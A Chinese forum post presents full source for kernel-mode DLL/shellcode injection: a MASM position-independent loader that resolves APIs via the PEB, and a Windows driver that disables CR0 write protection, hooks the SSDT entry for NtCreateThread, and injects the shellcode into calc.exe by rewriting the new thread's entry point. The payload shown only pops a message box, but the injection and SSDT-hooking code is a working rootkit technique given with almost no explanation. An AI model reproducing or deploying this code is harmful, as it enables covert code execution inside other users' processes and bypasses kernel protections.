免費論壇 繁體 | 簡體
Sclub交友聊天~加入聊天室當版主
分享
返回列表 发帖

简单挂钩NtCreateThread实现内核注入DLL

LoadShell.Asm
  1. .686p
  2. .model flat,StdCall
  3. option casemap:none

  4. .code
  5. CODE_START:
  6. dwEntry dd 0
  7. start:
  8.         push edx
  9.         pushad
  10.         pushfd
  11.         call CODE_ADDR
  12. CODE_ADDR:
  13.         pop ebx
  14.         sub ebx, CODE_ADDR
  15.         call GetKernel32Base
  16.         lea edx, [ebx + szLoadLibrary]
  17.         push edx
  18.         push eax
  19.         call GetApiAddr
  20.         lea edx, [ebx + szUser]
  21.         push edx
  22.         call eax
  23.         lea edx, [ebx + szMessageBox]
  24.         push edx
  25.         push eax
  26.         call GetApiAddr
  27.         push 0
  28.         push 0
  29.         push 0
  30.         push 0
  31.         call eax
  32.         lea edx, [ebx + dwEntry]
  33.         mov edx, [edx]
  34.         mov [esp + 024h], edx
  35.         popfd
  36.         popad
  37.         ret
  38.        
  39.         szUser db 'user32.dll',0
  40.         szLoadLibrary db 'LoadLibraryA',0
  41.         szMessageBox db 'MessageBoxA',0
  42.        
  43. GetKernel32Base proc
  44.                 assume fs:nothing
  45.                 mov eax, [fs:30h]
  46.                 mov eax, [eax + 0ch]
  47.                 mov eax, [eax + 0ch]
  48.                 mov eax, [eax]
  49.                 mov eax, [eax]
  50.                 mov eax, [eax + 018h]
  51.                 ret
  52. GetKernel32Base endp
  53.        
  54. GetNtdllBase proc
  55.                 assume fs:nothing
  56.                 mov eax, [fs:30h]
  57.                 mov eax, [eax + 0ch]
  58.                 mov eax, [eax + 0ch]
  59.                 mov eax, [eax]
  60.                 mov eax, [eax + 018h]
  61.                 ret
  62. GetNtdllBase endp
  63.        
  64. GetApiAddr proc hModule:DWORD, lpProcName:DWORD
  65.                 push ebx
  66.                 push ecx
  67.                 push edx
  68.                 push edi
  69.                 push esi
  70.                 mov eax, hModule
  71.                 mov ebx, [eax + 3ch]
  72.                
  73.                 push [ebx + eax + 7ch]
  74.                 mov ebx, [ebx + eax + 78h]
  75.                 push ebx
  76.                
  77.                 add ebx, eax
  78.                 mov edi, lpProcName
  79.                 mov edx, [ebx + 10h]
  80.                 test edi, 0FFFF0000h
  81.                 jz next
  82.                 xor eax, eax
  83.                
  84. _LABEL:
  85.                         cmp eax, [ebx + 18h]
  86.                         jae error
  87.                        
  88.                         push edi
  89.                         mov esi, [ebx + 8 * 4]
  90.                         add esi, hModule
  91.                         mov esi, [esi + eax * 4]
  92.                         add esi, hModule
  93. again:
  94.                         mov cl, byte ptr[esi]
  95.                         mov ch, byte ptr[edi]
  96.                         test cl, cl
  97.                         jz cmpend
  98.                        
  99.                         inc esi
  100.                         inc edi
  101.                         cmp cl, ch
  102.                         jz again
  103.                         or cl, 20h
  104.                         cmp cl, ch
  105.                         jz again

  106. cmpend:
  107.                         inc eax
  108.                         pop edi
  109.                         cmp cl, ch
  110.                         jnz _LABEL
  111.                        
  112.                         cmp eax, [ebx + 14h]
  113.                        
  114.                         mov edi, eax
  115.                         mov eax, hModule
  116.                         jmp go
  117. normal:
  118.                         jmp END_PROC
  119. next:
  120. go:
  121.                         sub edi, edx
  122.                         cmp edi, [ebx + 14h]
  123.                         ja error
  124.                         mov ebx, [ebx + 7 * 4]
  125.                         add ebx, hModule
  126.                         mov ebx, [ebx + 4 * edi]
  127.                         add eax, ebx
  128.                         add esp, 8
  129.                         jmp END_PROC
  130. error:
  131.                         xor eax, eax
  132. END_PROC:

  133.                         pop esi
  134.                         pop edi
  135.                         pop edx
  136.                         pop ecx
  137.                         pop ebx
  138.                         ret                       
  139. GetApiAddr endp
  140. CODE_END:
  141. GetShellInfo proc lpStart:DWORD, lpSize:DWORD
  142.         .if lpStart == 0
  143.                 ret
  144.         .endif
  145.         .if lpSize == 0
  146.                 ret
  147.         .endif
  148.        
  149.         mov eax, CODE_END
  150.         sub eax, CODE_START
  151.         mov ebx, lpSize
  152.         mov [ebx], eax
  153.         mov eax, CODE_START
  154.         mov ebx, lpStart
  155.         mov [ebx], eax
  156.         ret
  157.        
  158. GetShellInfo endp       
  159. end start
  160.        
复制代码
Driver.h
  1. #ifdef __cplusplus
  2. extern "C"
  3. {
  4. #endif
  5. #include <ntifs.h>
  6. NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath);

  7. #ifdef __cplusplus
  8. }
  9. #endif

  10. #define PAGEDCODE code_seg("PAGE")
  11. #define LOCKEDCODE code_seg()
  12. #define INITCODE code_seg("INIT")

  13. #define PAGEDDATA data_seg("PAGE")
  14. #define LOCKEDDATA data_seg()
  15. #define INITDATA data_seg("INIT")

  16. #define arraysize(p) (sizeof(p)/sizeof((p)[0]))

  17. VOID DriverUnload(IN PDRIVER_OBJECT DriverObject);


  18. typedef struct _INITIAL_TEB {
  19.         struct {
  20.                 PVOID OldStackBase;
  21.                 PVOID OldStackLimit;
  22.         } OldInitialTeb;
  23.         PVOID StackBase;
  24.         PVOID StackLimit;
  25.         PVOID StackAllocationBase;
  26. } INITIAL_TEB, *PINITIAL_TEB;

  27. NTSTATUS MyNtCreateThread(
  28.                            __out PHANDLE ThreadHandle,
  29.                            __in ACCESS_MASK DesiredAccess,
  30.                            __in_opt POBJECT_ATTRIBUTES ObjectAttributes,
  31.                            __in HANDLE ProcessHandle,
  32.                            __out PCLIENT_ID ClientId,
  33.                            __in PCONTEXT ThreadContext,
  34.                            __in PINITIAL_TEB InitialTeb,
  35.                            __in BOOLEAN CreateSuspended
  36.                            );


  37. typedef NTSTATUS (*pNtCreateThread)(
  38.                                                   __out PHANDLE ThreadHandle,
  39.                                                   __in ACCESS_MASK DesiredAccess,
  40.                                                   __in_opt POBJECT_ATTRIBUTES ObjectAttributes,
  41.                                                   __in HANDLE ProcessHandle,
  42.                                                   __out PCLIENT_ID ClientId,
  43.                                                   __in PCONTEXT ThreadContext,
  44.                                                   __in PINITIAL_TEB InitialTeb,
  45.                                                   __in BOOLEAN CreateSuspended
  46.                                                   );

  47. EXTERN_C NTKERNELAPI UCHAR * PsGetProcessImageFileName(
  48.                                                   __in PEPROCESS Process
  49.                                                   );

  50. #pragma pack(1)
  51. typedef struct ServiceDescriptorEntry {
  52.         unsigned int *ServiceTableBase;
  53.         unsigned int *ServiceCounterTableBase; //仅适用于checked build版本
  54.         unsigned int NumberOfServices;
  55.         unsigned char *ParamTableBase;
  56. } ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
  57. #pragma pack()

  58. extern "C" PServiceDescriptorTableEntry_t KeServiceDescriptorTable;

  59. ULONG GetSDDTAddr(ULONG uIndex);
  60. BOOLEAN HookSSDT(ULONG uIndex, ULONG uNewAddr);
  61. BOOLEAN UnHookSSDT(ULONG uIndex, ULONG uOldAddr);
复制代码
Driver.cpp
  1. #include "Driver.h"


  2. //global
  3. pNtCreateThread g_pfnRealNtCreateThread = NULL;
  4. BOOLEAN g_bHookDll = FALSE;



  5. void PageProtectOn()
  6. {
  7.         //恢复内存保护
  8.         __asm
  9.         {
  10.                 mov eax, cr0
  11.                 or eax, 10000h
  12.                 mov cr0, eax
  13.                 sti
  14.         }
  15. }

  16. void PageProtectOff()
  17. {
  18.         //去掉内存保护
  19.         __asm
  20.         {
  21.                 cli
  22.                 mov eax, cr0
  23.                 and eax, not 10000h
  24.                 mov cr0, eax
  25.         }
  26. }


  27. BOOLEAN MyNtWriteProcessMemory(PVOID BaseAddress, PVOID Buffer ,ULONG uBufferSize, HANDLE hProcess)
  28. {
  29.         PEPROCESS Eprocess = NULL;
  30.         NTSTATUS status = ObReferenceObjectByHandle(hProcess, PROCESS_ALL_ACCESS, NULL, KernelMode, (PVOID *)&Eprocess, NULL);
  31.         if (!NT_SUCCESS(status))
  32.         {
  33.                 return FALSE;
  34.         }

  35.         KAPC_STATE ApcState;
  36.         KeStackAttachProcess(Eprocess, &ApcState);

  37.         __try
  38.         {
  39.                 ProbeForWrite(BaseAddress, uBufferSize, sizeof(UCHAR));
  40.                 RtlCopyMemory(BaseAddress, Buffer, uBufferSize);
  41.                 KeUnstackDetachProcess(&ApcState);
  42.         }
  43.         __except(EXCEPTION_EXECUTE_HANDLER)
  44.         {
  45.                 KeUnstackDetachProcess(&ApcState);
  46.                 return FALSE;
  47.         }
  48.         return TRUE;
  49. }



  50. EXTERN_C VOID GetShellInfo(PULONG puStartAddr, PULONG puSize);

  51. NTSTATUS MyNtCreateThread(
  52.                                                   __out PHANDLE ThreadHandle,
  53.                                                   __in ACCESS_MASK DesiredAccess,
  54.                                                   __in_opt POBJECT_ATTRIBUTES ObjectAttributes,
  55.                                                   __in HANDLE ProcessHandle,
  56.                                                   __out PCLIENT_ID ClientId,
  57.                                                   __in PCONTEXT ThreadContext,
  58.                                                   __in PINITIAL_TEB InitialTeb,
  59.                                                   __in BOOLEAN CreateSuspended
  60.                                                   )
  61. {

  62.         if (!g_bHookDll)
  63.         {
  64.                 PUCHAR pszName = PsGetProcessImageFileName(IoGetCurrentProcess());
  65.                 if (_stricmp((char *)pszName, "calc.exe") == 0)
  66.                 {
  67.                         ULONG uShellStart = 0;
  68.                         ULONG uShellSize = 0;
  69.                         GetShellInfo(&uShellStart, &uShellSize);
  70.                         if (uShellStart == 0 || uShellSize == 0)
  71.                         {
  72.                                 goto GOON;
  73.                         }

  74.                         PVOID puShellCodeVa;
  75.                         puShellCodeVa = NULL;
  76.                         ULONG uShellCodeSize = uShellSize;
  77.                         NTSTATUS status = ZwAllocateVirtualMemory(ProcessHandle, &puShellCodeVa, NULL, &uShellCodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  78.                         if (!NT_SUCCESS(status))
  79.                         {
  80.                                 goto GOON;
  81.                         }
  82.                         ULONG uEntryEip = ThreadContext->Eax;
  83.                         BOOLEAN bRet = FALSE;
  84.                         bRet = MyNtWriteProcessMemory(puShellCodeVa, &uEntryEip, sizeof(ULONG), ProcessHandle);
  85.                         if (!bRet)
  86.                         {
  87.                                 goto GOON;
  88.                         }
  89.                         bRet = MyNtWriteProcessMemory((PVOID)((ULONG)puShellCodeVa + sizeof(ULONG)), (PVOID)(uShellStart + sizeof(ULONG)), uShellSize, ProcessHandle);
  90.                         if (!bRet)
  91.                         {
  92.                                 goto GOON;
  93.                         }
  94.                        
  95.                         ThreadContext->Eax = ((ULONG)puShellCodeVa + sizeof(ULONG));

  96.                         g_bHookDll = TRUE;
  97.                 }
  98.         }
  99.                
  100. GOON:
  101.         return g_pfnRealNtCreateThread(ThreadHandle,
  102.                 DesiredAccess,
  103.                 ObjectAttributes,
  104.                 ProcessHandle,
  105.                 ClientId,
  106.                 ThreadContext,
  107.                 InitialTeb,
  108.                 CreateSuspended);
  109. }

  110. #pragma PAGEDCODE
  111. ULONG GetSDDTAddr(ULONG uIndex)
  112. {

  113.         ULONG uAddr = (ULONG)KeServiceDescriptorTable->ServiceTableBase[uIndex];

  114.         return uAddr;
  115. }


  116. BOOLEAN HookSSDT(ULONG uIndex, ULONG uNewAddr)
  117. {
  118.         if (uNewAddr == 0)
  119.         {
  120.                 return FALSE;
  121.         }

  122.         PageProtectOff();
  123.         KeServiceDescriptorTable->ServiceTableBase[uIndex] = uNewAddr;
  124.         PageProtectOn();

  125.         return TRUE;
  126. }


  127. BOOLEAN UnHookSSDT(ULONG uIndex, ULONG uOldAddr)
  128. {
  129.         if (uOldAddr == 0)
  130.         {
  131.                 return FALSE;
  132.         }

  133.         PageProtectOff();
  134.         KeServiceDescriptorTable->ServiceTableBase[uIndex] = uOldAddr;
  135.         PageProtectOn();

  136.         return TRUE;
  137. }


  138. #pragma INITCODE
  139. NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath)
  140. {
  141.     NTSTATUS status = STATUS_SUCCESS;
  142.        
  143.         ULONG uAddr = GetSDDTAddr(53);
  144.         if (uAddr)
  145.         {
  146.                 g_pfnRealNtCreateThread = (pNtCreateThread)uAddr;
  147.                 HookSSDT(53, (ULONG)MyNtCreateThread);
  148.         }


  149.     DriverObject->DriverUnload = DriverUnload;
  150.     return status;
  151. }

  152. #pragma PAGEDCODE
  153. VOID DriverUnload(IN PDRIVER_OBJECT DriverObject)
  154. {
  155.   
  156.         UnHookSSDT(53, (ULONG)g_pfnRealNtCreateThread);
  157.     KdPrint(("DriverEntry unLoading...\n"));
  158.   
  159. }
复制代码

返回列表